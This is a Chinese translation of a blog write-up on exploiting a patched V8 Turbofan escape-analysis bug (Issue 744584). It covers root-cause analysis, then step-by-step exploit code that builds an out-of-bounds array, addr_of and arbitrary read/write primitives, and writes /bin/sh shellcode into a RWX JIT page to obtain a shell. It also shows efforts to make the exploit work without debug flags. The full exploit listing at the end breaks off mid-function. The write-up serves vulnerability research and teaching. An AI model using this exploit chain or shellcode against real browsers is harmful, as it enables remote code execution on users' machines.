一个V8上的远程代码执行漏洞利用

2020-04-08 约 2627 字 预计阅读 13 分钟

声明:本文 【一个V8上的远程代码执行漏洞利用】 由作者 zoemur**** 于 2020-04-08 09:59:40 首发 先知社区 曾经 浏览数 127 次

感谢 zoemur**** 的辛苦付出!

原文:Exploiting an Accidentally Discovered V8 RCE
作者:0x4848


请从现在开始睁开你的双眼,不要忽略系统中发生的任何崩溃...

花些时间看看发生了什么,如果你在浏览网页时浏览器却突然消失了,再次访问该页面,浏览器又崩溃了,那么你一定想知道这个网页做了什么...打开调试器看看,找到发生了什么,不要忽略任何现象。

大多数人每天都会碰到漏洞,只是他们没有意识到,所以现在开始,观察...

——Halvar and FX - Take it from here - Defcon 12

前言

为了更好的了解浏览器的内部结构以及exploit的开发,查看旧的漏洞,尝试根据其PoC或者漏洞报告编写相应的exploit是很有帮助的。Issue 744584: Fatal error in ../../v8/src/compiler/representation-change.cc这个问题很有意思。首先,目前还没有为这个漏洞写的exploit。其次,这个漏洞是偶然发现的,漏洞提交者是一个开发人员,他是为了修复崩溃的应用程序才向Chromium团队报告了这个问题,而不是因为他正在挖掘漏洞。事情恰好就这么发生了,他在Chrome中发现了一个潜在的0-day漏洞。考虑到这些因素,这个漏洞很值得深入研究。

这也说明Halver和FX在Defon 12上说的话是正确的。

漏洞报告

漏洞报告中没有提供PoC,而且除了一个崩溃的跟踪记录外,几乎没有任何关于该漏洞的其他信息。

UserAgent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Steps to reproduce the problem:
Unfortunately I could not isolate the problem for an easy repro.
I have a JS app of around 3mb minified and the browser crashes at what seem to be random times (I suppose whenever it decides to optimize the problematic function)

What is the expected behavior?
not crash

What went wrong?
Fatal error in ../../v8/src/compiler/representation-change.cc, line 1055
RepresentationChangerError: node #812:Phi of kRepFloat64 (Number) cannot be changed to kRepWord32

STACK_TEXT:  
0x0
v8_libbase!v8::base::OS::Abort+0x11
v8_libbase!V8_Fatal+0x91
v8!v8::internal::compiler::RepresentationChanger::TypeError+0x1d9
v8!v8::internal::compiler::RepresentationChanger::GetWord32RepresentationFor+0x18d
v8!v8::internal::compiler::RepresentationChanger::GetRepresentationFor+0x28d
v8!v8::internal::compiler::RepresentationSelector::ConvertInput+0x19d
v8!v8::internal::compiler::RepresentationSelector::VisitPhi+0x12c
v8!v8::internal::compiler::RepresentationSelector::VisitNode+0x31f
v8!v8::internal::compiler::RepresentationSelector::Run+0x4ea
v8!v8::internal::compiler::SimplifiedLowering::LowerAllNodes+0x4c
v8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::SimplifiedLoweringPhase>+0x70
v8!v8::internal::compiler::PipelineImpl::OptimizeGraph+0x29f
v8!v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl+0x20
v8!v8::internal::CompilationJob::ExecuteJob+0x1a3
v8!v8::internal::OptimizingCompileDispatcher::CompileTask::Run+0x110
gin!base::internal::FunctorTraits<void (__cdecl v8::Task::*)(void) __ptr64,void>::Invoke<v8::Task * __ptr64>+0x1a
gin!base::internal::InvokeHelper<0,void>::MakeItSo<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,v8::Task * __ptr64>+0x37
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::RunImpl<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,std::tuple<base::internal::OwnedWrapper<v8::Task> > const & __ptr64,0>+0x49
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::Run+0x33
base!base::Callback<void __cdecl(void),0,0>::Run+0x40
base!base::debug::TaskAnnotator::RunTask+0x2fd
base!base::internal::TaskTracker::PerformRunTask+0x74b
base!base::internal::TaskTracker::RunNextTask+0x1ea
base!base::internal::SchedulerWorker::Thread::ThreadMain+0x4b9
base!base::`anonymous namespace'::ThreadFunc+0x131
KERNEL32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21

Did this work before? N/A 

Chrome version: 61.0.3158.0  Channel: canary
OS Version: 10.0
Flash Version: Shockwave Flash 25.0 r0

漏洞的提交者(Marco Giovannini)确实曾在评论中提供了PoC,但是后来又删除了,因为其中包含了部分他的应用程序中的代码。

因为这是一个已修复的n-day漏洞,我们可以直接查看修复漏洞过程中更改记录,以及相关的测试代码。

在更改记录中提供了两个测试代码:

// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
function f(x) {
    var o = {a : 0};
    var l = [1,2,3,4];
    var res;
    for (var i = 0; i < 3; ++i) {
        if (x%2 == 0) { o.a = 1; b = false}
        res = l[o.a];
        o.a = x;
    }
    return res;
}
f(0);
f(1);
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
assertEquals(undefined, f(101));
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax --turbo-escape

function f(x) {
    var o = {a : 0, b: 0};
    if (x == 0) {
        o.a = 1
    } else {
        if (x <= 1) {
            if (x == 2) {
                o.a = 2;
            } else {
                o.a = 1
            }
            o.a = 2;
        } else {
            if (x == 2) {
                o.a = "x";
            } else {
                o.a = "x";
            }
            o.b = 22;
        }
        o.b = 22;
    }
    return o.a + 1;
}

f(0,0);
f(1,0);
f(2,0);
f(3,0);
f(0,1);
f(1,1);
f(2,1);
f(3,1);
%OptimizeFunctionOnNextCall(f);
assertEquals(f(2), "x1");

分析

强制免责申明——我并不是V8代码库的专家,所以关于漏洞存在的原因,我的结论可能并不十分正确。

存在漏洞的代码存位于VirtualObject::MergeFields函数中,该函数是Turbofan JIT的逃逸分析(Escape Analysis)阶段。

“在编译器优化中,逃逸分析是一种确定指针动态范围的方法,即它可以确定程序中指针可以访问的区域。它与指针分析以及形状分析有关。——维基百科

在V8中,Turbofan使用逃逸分析对绑定到函数上的对象进行优化。如果对象没有逃出函数的生存周期,那么就不需要在堆上分配它,V8可以将其视为函数的本地变量,从而存储在栈或者寄存器上,或者将它完全优化掉。

请参阅下面的V8 Turbofan条款,后面还会继续引用这些条款:

  • Branch是条件控制流,程序执行到这里分成两个节点;
  • Merge将分支两侧的两个控制节点合并;
  • Phi将分支两侧计算的值合并。

下面的merge函数根据之前在缓存中看到的类型创建了一个Phi。看起来漏洞存在的原因是因为函数错误地计算了类型,因此攻击者控制的值的类型与已编译函数期望的类型不同。

bool VirtualObject::MergeFields(size_t i, Node* at, MergeCache* cache,
                                Graph* graph, CommonOperatorBuilder* common) {
  bool changed = false;
  int value_input_count = static_cast<int>(cache->fields().size());
  Node* rep = GetField(i);
  if (!rep || !IsCreatedPhi(i)) {
    Type* phi_type = Type::None();
    for (Node* input : cache->fields()) {
      CHECK_NOT_NULL(input);
      CHECK(!input->IsDead());
      Type* input_type = NodeProperties::GetType(input);
      phi_type = Type::Union(phi_type, input_type, graph->zone());
    }
    Node* control = NodeProperties::GetControlInput(at);
    cache->fields().push_back(control);
    Node* phi = graph->NewNode(
        common->Phi(MachineRepresentation::kTagged, value_input_count),
        value_input_count + 1, &cache->fields().front());
    NodeProperties::SetType(phi, phi_type);
    SetField(i, phi, true);

#ifdef DEBUG
    if (FLAG_trace_turbo_escape) {
      PrintF("    Creating Phi #%d as merge of", phi->id());
      for (int i = 0; i < value_input_count; i++) {
        PrintF(" #%d (%s)", cache->fields()[i]->id(),
               cache->fields()[i]->op()->mnemonic());
      }vp, n);
      if (old != cache->fields()[n]) {
        changed = true;
        NodeProperties::ReplaceValueInput(rep, cache->fields()[n], n);
      }
    }
  }
  return changed;
}

Turbolizer分析

我们首先在Turbolizer中查看函数图。在消除负载(Load Eliminated)阶段,漏洞还未发生,程序流程如图所示,我添加了一些注释用来说明:

在这之后是Merge,可以看到这里有一个边界检查,然后是LoadElement节点,在这里查找l[0.a]。在这个阶段,漏洞还没有发生,查找顺利进行。

接下来,我们在漏洞发生的逃逸分析阶段后寻找差异。可以看到Phi[kRepTagged] Range(0,1)被加到了CheckBoundsLoadElement之前。因为Turbofan

在前面的执行过程中发现值只能是0或1,所以编译器将类型设置为Range(0,1)

最后我们看下一个阶段,简化降低(Simplified Lowering)阶段,看起来因为期望类型是Range(0,1),边界检查被优化删除掉了:

缺少边界检查使我们可以读写超出数组边界的部分。

Exploitation

刚开始看第一个测试用例的时候,发现它是通过验证f(101)未定义,来确认无法越界读取数组的。

为了验证该猜想,可以在有漏洞的V8版本上运行该PoC,把assertEquals替换为print。

function f(x) {
  var o = {a : 0};
  var l = [1,2,3,4]

  var res;
  for (var i = 0; i < 3; ++i) {
    if (x%2 == 0) { o.a = 1; b = false}
    res = l[o.a];
    o.a = x;
  }
  return res;
}
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
print(f(101))
./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
#
# Fatal error in ../v8/src/objects.h, line 1584
# Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).
#

==== C stack trace ===============================

    /home/zon8/accidentalnday/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7efdae48d363]
    /home/zon8/accidentalnday/./libv8_libplatform.so(+0x7d8b) [0x7efdae46cd8b]
    /home/zon8/accidentalnday/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0xdc) [0x7efdae4891fc]
    /home/zon8/accidentalnday/./libv8.so(+0x1ad31a) [0x7efdad52a31a]
    ./d8(+0x124cb) [0x55574932a4cb]
    ./d8(+0x125ee) [0x55574932a5ee]
    /home/zon8/accidentalnday/./libv8.so(+0x18cee2) [0x7efdad509ee2]
    /home/zon8/accidentalnday/./libv8.so(+0x26b895) [0x7efdad5e8895]
    /home/zon8/accidentalnday/./libv8.so(+0x26a1a9) [0x7efdad5e71a9]
    [0x268f68a044c4]
Received signal 4 ILL_ILLOPN 7efdae48c012
[1]    4436 illegal hardware instruction (core dumped)  ./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental

由于脚本尝试将nonSMI值读取到PACKED_SMI_ELEMENTS数组中,得到错误信息Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).如果把l改为double数组或者准确的说是PACKED_DOUBLE_ELEMENTS数组,应该就可以读取该值了。

function f(x) {
  var o = {a : 0};
  var l =  [1.1,2.2,3.3,4.4];
  var res;
  for (var i = 0; i < 3; ++i) {
    if (x%2 == 0) { o.a = 1; b = false}
    res = l[o.a];
    o.a = x;
  }
  return res;
}
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
print(f(101))
./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
-1.1885946300594787e+148

脚本返回了-1.1885946300594787e+148,说明这个漏洞可以用来越界读。下一步是通过越界写覆盖相邻数组的length值,从而生成addr_offake_obj

但在此之前,首先要计算出距离相邻数组length值的偏移量。通过反复实验,或者使用GDB可以很轻松的计算出该值。

var l =  [1.1,2.2,3.3,4.4];
var oob_array = new Array(20);
oob_array[0]=5.5;
oob_array[1]= 6.6;

通过反复实验,可以定位相邻数组的第二个元素。

../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
6.6

JSArray元素指针的布局(针对数组[1,2,3])如下所示:

0x3be95438dcd0: 0x0000000300000000 <- Length
0x3be95438dcd8: 0x0000000100000000 <- Element[0]
0x3be95438dce0: 0x0000000200000000 <- Element[1]
0x3be95438dce8: 0x0000000300000000 <- Element[2]

意思就是说,如果我们获得了第二个元素(6.6)的偏移量,减去2就是length的偏移量。

../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
4.24399158193e-313

返回值4.24399158193e-313需要从double类型转为SMI类型。可以使用Saelo’s Int64 library以及一些自定义函数将SMI类型转化为Integer类型:

function int_to_smi(val) {
   z=0
   return "0x" + val.toString(16).padStart(8,'0') + z.toString(16).padStart(8,'0')
}

function smi_to_int(val) {
   val = val.toString()
   if (!val.startsWith("0x")) {
      throw("Does not start with 0x");
   }
   val = val.substring(2)
   val = val.slice(0,-8)
   print(val)
   val = Number("0x"+val)
   return val
}
%OptimizeFunctionOnNextCall(f);
res = Int64.fromDouble(f(9));
print(smi_to_int(res))
../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
20

结果是整数型20,说明数组长度被找到了。

现在可以用上面的方法覆盖数组的length值,从而创建出一个可以越界读写的数组。

一开始我尝试用我们的辅助函数来实现这一点,如下所示:

initial_oob_array[o.a] = new Int64(int_to_smi(65535)).asDouble();
      o.a = x;
  }
   return res;

然而,这些辅助函数的新增功能会导致JIT优化不足,从而破坏整个exploit。可以添加--trace-deopt标志来验证这一点。

➜  accidentalnday ../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
[deoptimizing (DEOPT eager): begin 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> (opt #0) @36, FP to SP delta: 136, caller sp: 0x7fff6cfe2fe0]
            ;;; deoptimize at <bug.js:163:28>, out of bounds
// Convenience functions. These allocate a new Int64 to hold the result.
  reading input frame f => bytecode_offset=146, args=2, height=11; inputs:
      0: 0x1ad49b9ad3a9 ; [fp - 16] 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)>
      1: 0x25e9267033e1 ; [fp + 24] 0x25e9267033e1 <JSGlobal Object>
      2: 0x700000000 ; [fp + 16] 7
      3: 0x1ad49b983d91 ; [fp - 8] 0x1ad49b983d91 <FixedArray[278]>
      4: 0x25e92671e4e1 ; [fp - 24] 0x25e92671e4e1 <Object map = 0x2c688bf8e0c9>
      5: 0x25e92671e531 ; rcx 0x25e92671e531 <JSArray[4]>
      6: 0x384e6fd82311 ; (literal 5) 0x384e6fd82311 <undefined>
      7: 1 ; (int) [fp - 40]
      8: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
      9: 0x700000000 ; [fp - 48] 7
     10: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
     11: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
     12: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
     13: 0x384e6fd825a9 ; (literal 6) 0x384e6fd825a9 <Odd Oddball: optimized_out>
     14: 0x25e92671fec1 ; rax 0x25e92671fec1 <Number 1.39065e-309>
  translating interpreted frame f => bytecode_offset=146, height=88
    0x7fff6cfe2fd8: [top + 152] <- 0x25e9267033e1 ;  0x25e9267033e1 <JSGlobal Object>  (input #1)
    0x7fff6cfe2fd0: [top + 144] <- 0x700000000 ;  7  (input #2)
    -------------------------
    0x7fff6cfe2fc8: [top + 136] <- 0xe6f4b9f7592 ;  caller's pc
    0x7fff6cfe2fc0: [top + 128] <- 0x7fff6cfe2fe8 ;  caller's fp
    0x7fff6cfe2fb8: [top + 120] <- 0x1ad49b983d91 ;  context    0x1ad49b983d91 <FixedArray[278]>  (input #3)
    0x7fff6cfe2fb0: [top + 112] <- 0x1ad49b9ad3a9 ;  function    0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)>  (input #0)
    0x7fff6cfe2fa8: [top + 104] <- 0x384e6fd82311 ;  new_target  0x384e6fd82311 <undefined>  (input #0)
    0x7fff6cfe2fa0: [top + 96] <- 0x1ad49b9b4801 ;  bytecode array 0x1ad49b9b4801 <BytecodeArray[168]>  (input #0)
    0x7fff6cfe2f98: [top + 88] <- 0xc700000000 ;  bytecode offset @ 146
    -------------------------
    0x7fff6cfe2f90: [top + 80] <- 0x25e92671e4e1 ;  0x25e92671e4e1 <Object map = 0x2c688bf8e0c9>  (input #4)
    0x7fff6cfe2f88: [top + 72] <- 0x25e92671e531 ;  0x25e92671e531 <JSArray[4]>  (input #5)
    0x7fff6cfe2f80: [top + 64] <- 0x384e6fd82311 ;  0x384e6fd82311 <undefined>  (input #6)
    0x7fff6cfe2f78: [top + 56] <- 0x100000000 ;  1  (input #7)
    0x7fff6cfe2f70: [top + 48] <- 0x384e6fd825a9 ;  0x384e6fd825a9 <Odd Oddball: optimized_out>  (input #8)
    0x7fff6cfe2f68: [top + 40] <- 0x700000000 ;  7  (input #9)
    0x7fff6cfe2f60: [top + 32] <- 0x384e6fd825a9 ;  0x384e6fd825a9 <Odd Oddball: optimized_out>  (input #10)
    0x7fff6cfe2f58: [top + 24] <- 0x384e6fd825a9 ;  0x384e6fd825a9 <Odd Oddball: optimized_out>  (input #11)
    0x7fff6cfe2f50: [top + 16] <- 0x384e6fd825a9 ;  0x384e6fd825a9 <Odd Oddball: optimized_out>  (input #12)
    0x7fff6cfe2f48: [top + 8] <- 0x384e6fd825a9 ;  0x384e6fd825a9 <Odd Oddball: optimized_out>  (input #13)
    0x7fff6cfe2f40: [top + 0] <- 0x25e92671fec1 ;  accumulator 0x25e92671fec1 <Number 1.39065e-309>  (input #14)
[deoptimizing (eager): end 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)> @36 => node=146, pc=0xe6f4b9c2a80, caller sp=0x7fff6cfe2fe0, state=TOS_REGISTER, took 0.296 ms]
[removing optimized code for: 0x1ad49b9ad3a9 <JSFunction f (sfi = 0x1ad49b9acd41)>]

可以使用65535的对应double值来修复这一问题:

initial_oob_array[o.a] = 1.39064994160909e-309;

函数可以继续被优化,oob_arry.length也被覆盖了:

../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
0x7ff8000000000000
Smashed oob_array length to: 65535

要创建addr_of,需要一个elements数组。

为了找到该数组的偏移量,我们放置要搜索的元素,像是下面的1337

elements_array = [1337,{},{}]

可以使用下面的循环找到偏移量:

function find_offset_smi(val) {
for (i=0; i<5000; i++){
  if (oob_array[i] == new Int64(int_to_smi(val)).asDouble()) {
    print("Found offset: "+i);
    offset = i;
    return offset
  }
}
}

addr_of函数中使用此偏移量,该函数用来检索任意对象的地址。

function addr_of(obj){
  elements_array[0] = obj;
  return Int64.fromDouble(oob_array[elements_offset])
}
var test = {hello:"world"}
elements_offset = find_offset_smi(1337);
double_offset = find_offset_double(1.337)
print(addr_of(test))

运行该脚本,可以成功打印出test对象的地址,证明addr_of函数确实可以工作:

../accidentalnday_release/d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
Found offset: 36
Found offset: 45
0x00001b590f215e81

为了实现任意读写,我们利用ArrayBuffer并将其backing store指向我们想要读写的地址。

arb_rw_arraybuffer = new ArrayBuffer(0x200)

首先我们需要找到该ArrayBuffer的偏移量。其中一种方式是搜索它的size值:

print(find_offset_smi(0x200)) // Found offset: 55

通过查看内存,我们发现ArrayBuffer的backing storebyte length(即size)之后:

V8 version 6.2.0 (candidate)
d8> var ab = new ArrayBuffer(500)
undefined
d8> %DebugPrint(ab)
DebugPrint: 0x25ed4e20bf69: [JSArrayBuffer]
 - map = 0xacfdf683179 [FastProperties]
 - prototype = 0x3dcd6128c391
 - elements = 0x18e996982241 <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
 - embedder fields: 2
 - backing_store = 0x55973df4f220
 - byte_length = 500
 - neuterable
 - properties = 0x18e996982241 <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }
0xacfdf683179: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
 - instance size: 80
 - inobject properties: 0
 - elements kind: HOLEY_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x18e996982311 <undefined>
 - instance descriptors (own) #0: 0x18e996982231 <FixedArray[0]>
 - layout descriptor: (nil)
 - prototype: 0x3dcd6128c391 <Object map = 0xacfdf6831d1>
 - constructor: 0x3dcd6128c1c9 <JSFunction ArrayBuffer (sfi = 0x18e9969c5d89)>
 - code cache: 0x18e996982241 <FixedArray[0]>
 - dependent code: 0x18e996982241 <FixedArray[0]>
 - construction counter: 0

[object ArrayBuffer]
d8> ^C
pwndbg> x/8gx 0x25ed4e20bf69-1
0x25ed4e20bf68: 0x00000acfdf683179 <- Map               
0x25ed4e20bf70: 0x000018e996982241 <- Properties
0x25ed4e20bf78: 0x000018e996982241 <- Elements  
0x25ed4e20bf80: 0x000001f400000000 <- Byte length
0x25ed4e20bf88: 0x000055973df4f220 <- Backing store 
...
...

这说明把byte length的偏移量加1,我们就可以获得ArrayBuffer的backing store的偏移量了。

array_buffer_backing_store_offset = array_buffer_size_offset+1

现在我们可以读写任意地址了:

function read_64(addr) {
    oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
    let accessor = new Uint32Array(arb_rw_arraybuffer);
    return new Int64(undefined, accessor[1], accessor[0]);
}
function write_64(addr, value) {
    oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()

    let accessor = new Uint32Array(target_array_buffer);
    accessor[0] = value.low;
    accessor[1] = value.high;
}

由于存在该漏洞的V8及Chrome版本仍然在使用RWX JIT页,所以可以直接在RWX页中写入并执行shellcode。该漏洞已经通过在Chrome和V8中引入W^X被修复了,然而仍存在实现任意代码执行的方式,例如RWX WASM页以及ROP。

GDB的截图证明这个版本的V8存在RWX页:

为了写入shellcode,我们需要创建另一个ArrayBuffer并将shellcode存入其中。同样,可以通过搜索其size值并递增获取偏移量:

shellcode_array_buffer = new ArrayBuffer(0x456)
...
...
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x456)
shellcode_array_buffer_backing_store_offset++

为了实现代码执行,核心思想如下:

  • JIT编译一个函数
  • 为该函数找到指向RWX JIT页的指针
  • 把ArrayBuffer的backing store指向RWX内存
  • 将shellcode写入ArrayBuffer
  • 执行该JIT函数

为了实现JIT编译函数,我们只要多次执行该函数:

function jitme(val) {
  return val+1

}

for (i=0; i>100000; i++) {
   jitme(1)
}

我们在寻找- code = 0x17f593884c21 <Code OPTIMIZED_FUNCTION>

如果我们查看位于JIT函数指针0x38偏移量附近的地址,可以找到接近该值的地址。

这个值是用下面的JavaScript代码计算出来的:

jitted_function_ptr = addr_of(jitme)
print("JIT Function: "+ jitted_function_ptr)

let JIT_ptr = read_64(jitted_function_ptr.add(0x38-1));

我们使用PwnTools生成的一个简单的/bin/sh shellcode:

const SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 104, 46, 114, 105, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 69, 68, 59, 32, 47, 98, 105, 110, 80, 72, 184, 101, 99, 104, 111, 32, 80, 87, 78, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]


oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
shell_code_writer.set(SHELLCODE);

最后,我们执行这个JIT编译函数,从而实现代码执行并获得shell:

jitme()
➜  accidentalnday ../accidentalnday_release/d8 nday.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling --trace-deopt
Found offset: 36
Found offset: 45
Found offset: 55
Found offset: 65
JIT Function: 0x00001294cf5af4a9
JIT PTR: 0x000030b8f5904cc0
$ id
uid=1000(zon8) gid=1000(zon8) groups=1000(zon8),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
$

移除CLI标志

目前,这个exploit只能和一系列非默认的CLI标志(如下所示)一起使用,正常安装的Chrome或者V8中并未激活这些标志。因此如果我们想要创建一个稳定的exploit,需要移除这些标志。

./d8 nday.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling

`--allow-natives-syntax用于OptimizeOnNextFunctionCall函数,该函数强制使用Turbofan JIT优化并编译函数。删除这个标志并不难,通过创建循环来调用上千次函数可以触发JIT来编译这个函数。

修改前:

%OptimizeFunctionOnNextCall(f);

修改后:

for (i=0; i<100000; i++) {
   f(1);
}

--no-turbo-loop-peeling标志可以阻止循环剥离(loop peeling)或者循环分裂(loop splitting)。

循环分裂(loop splitting)是一种编译器优化技术。它试图拆分循环,拆分后的多个部分在相同主体内,但在索引范围的不同连续范围内迭代,以此来简化循环或消除依赖关系。

循环剥离(loop peeling)是循环分裂的一种特殊情况,它从循环中拆分出任何有问题的前/后几次迭代,并在循环体外部执行它们。

——Loop Splitting - Wikipedia

通过添加一些if语句,我们可以成功地避免循环剥离情况。这些if语句不改变exploit的功能性,但要对循环进行一定修改,从而让优化器不再剥离循环中的任何迭代。

修改前:

for (var i = 0; i < 3; ++i) {
        if (x % 2 == 0) { o.a = 1;b = false }
        initial_oob_array[o.a] = 1.39064994160909e-309;
        o.a = x;
    }

修改后:

for (var i = 0; i < 3; ++i) {
        if (i > 2) {
            if (x % 2 == 0) {
                o.a = 1;
                b = false
            }
        }
        if (i == 0) {
            if (x % 2 == 0) {
                o.a = 1;
                b = false
            }
        }
        initial_oob_array[o.a] = 1.39064994160909e-309;
        o.a = x;
    }

现在我们只剩下面这些标志了:

./d8 nday.js --turbo-escape --turbo-experimental

标志--turbo-escape只是强制转义分析阶段的发生,这个阶段本来就会发生,所以我们可以安全地移除这个标志而不改变exploit的功能性。

最后是--turbo-experimental标志。这个标志只影响下面的函数:

void EscapeAnalysis::ProcessCheckMaps(Node* node) {
  DCHECK_EQ(node->opcode(), IrOpcode::kCheckMaps);
  ForwardVirtualState(node);
  Node* checked = ResolveReplacement(NodeProperties::GetValueInput(node, 0));
  if (FLAG_turbo_experimental) {
    VirtualState* state = virtual_states_[node->id()];
    if (VirtualObject* object = GetVirtualObject(state, checked)) {
      if (!object->IsTracked()) {
        if (status_analysis_->SetEscaped(node)) {
          TRACE(
              "Setting #%d (%s) to escaped because checked object #%i is not "
              "tracked\n",
              node->id(), node->op()->mnemonic(), object->id());
        }
        return;
      }
      CheckMapsParameters params = CheckMapsParametersOf(node->op());

      Node* value = object->GetField(HeapObject::kMapOffset / kPointerSize);
      if (value) {
        value = ResolveReplacement(value);
        // TODO(tebbi): We want to extend this beyond constant folding with a
        // CheckMapsValue operator that takes the load-eliminated map value as
        // input.
        if (value->opcode() == IrOpcode::kHeapConstant &&
            params.maps().contains(ZoneHandleSet<Map>(bit_cast<Handle<Map>>(
                OpParameter<Handle<HeapObject>>(value))))) {
          TRACE("CheckMaps #%i seems to be redundant (until now).\n",
                node->id());
          return;
        }
      }
    }
  }
  if (status_analysis_->SetEscaped(node)) {
    TRACE("Setting #%d (%s) to escaped (checking #%i)\n", node->id(),
          node->op()->mnemonic(), checked->id());
  }
}

正如上面的函数所示,如果启用了--turbo-experimental标志,会有一些额外的功能。如果禁用该标志,exploit不再起作用,因此这些额外的功能对exploit非常重要。

或许只是我们这样以为……但是,在使用gdb和printf进行了一些调试后,我确定这个标志之所以对exploit有用,不是因为if (FLAG_turbo_experimental) {语句中的任何功能,而是因为它允许函数提早return,并在执行下面的代码之前退出:

if (status_analysis_->SetEscaped(node)) {
    TRACE("Setting #%d (%s) to escaped (checking #%i)\n", node->id(),
          node->op()->mnemonic(), checked->id());
  }

这段代码会破坏exploit,如果我们把它注释掉,不管有没有--turbo-experimental标志,exploit都能工作。

这段代码会调用下面的函数:

bool EscapeStatusAnalysis::SetEscaped(Node* node) {
  bool changed = !(status_[node->id()] & kEscaped);
  status_[node->id()] |= kEscaped | kTracked;
  return changed;
}

为了让exploit在没有--turbo-experimental标志时也能工作,我们需要找到一种不需要调用checkMaps也能利用漏洞的方式。回头看原始的PoC,我们发现这个测试用例并不需要使用--turbo-experimental标志,这大概是因为它没有用到会触发checkMaps的l[0.a]。通过在V8中添加printf语句检查checkMaps什么时候会被触发,我证实了这一点。在下一篇文章中,我们会研究是否可以在不强制调用checkMaps的情况下利用此漏洞。

至于现在,先看看带有--turbo-experimental标志的完整exploit吧,该exploit适用于V8 6.2.0。

load('/home/zon8/accidentalnday/int64.js')

function f(x) {
    var o = { a: 0, b: 0 };
    var initial_oob_array = [1.1, 2.2, 3.3, 4.4];
    oob_array = new Array(20);
    oob_array[0] = 5.5
    oob_array[1] = 6.6
    elements_array = [1337, {}, {}]
    double_array = [1.337, 10.5, 10.5]
    arb_rw_arraybuffer = new ArrayBuffer(0x200)
    shellcode_array_buffer = new ArrayBuffer(0x5421)
    var res;
    for (var i = 0; i < 3; ++i) {
        if (i > 2) {
            if (x % 2 == 0) { o.a = 1; }
        }
        if (i == 0) {
            if (x % 2 == 0) { o.a = 1; }
        }
        initial_oob_array[o.a] = 1.39064994160909e-309;
        o.a = x;
    }
    return res;
}

f(0);
f(1);
f(0);
f(1);
var oob_array = [];
var elements_array;
var double_array;
var arb_rw_arraybuffer;
var shellcode_array_buffer;
for (i = 0; i < 100000; i++) {
    f(1);
}
res = Int64.from_double(f(7));
elements_offset = -1;

function find_offset_smi(val) {
    for (i = 0; i < 5000; i++) {
        if (oob_array[i] == new Int64(val).V8_to_SMI().to_double()) {
            // print("Found offset: " + i);
            offset = i;
            return offset
        }
    }
}

function find_offset_double(val) {
    for (i = 0; i < 5000; i++) {
        if (oob_array[i] == val) {
            // print("Found offset: " + i);
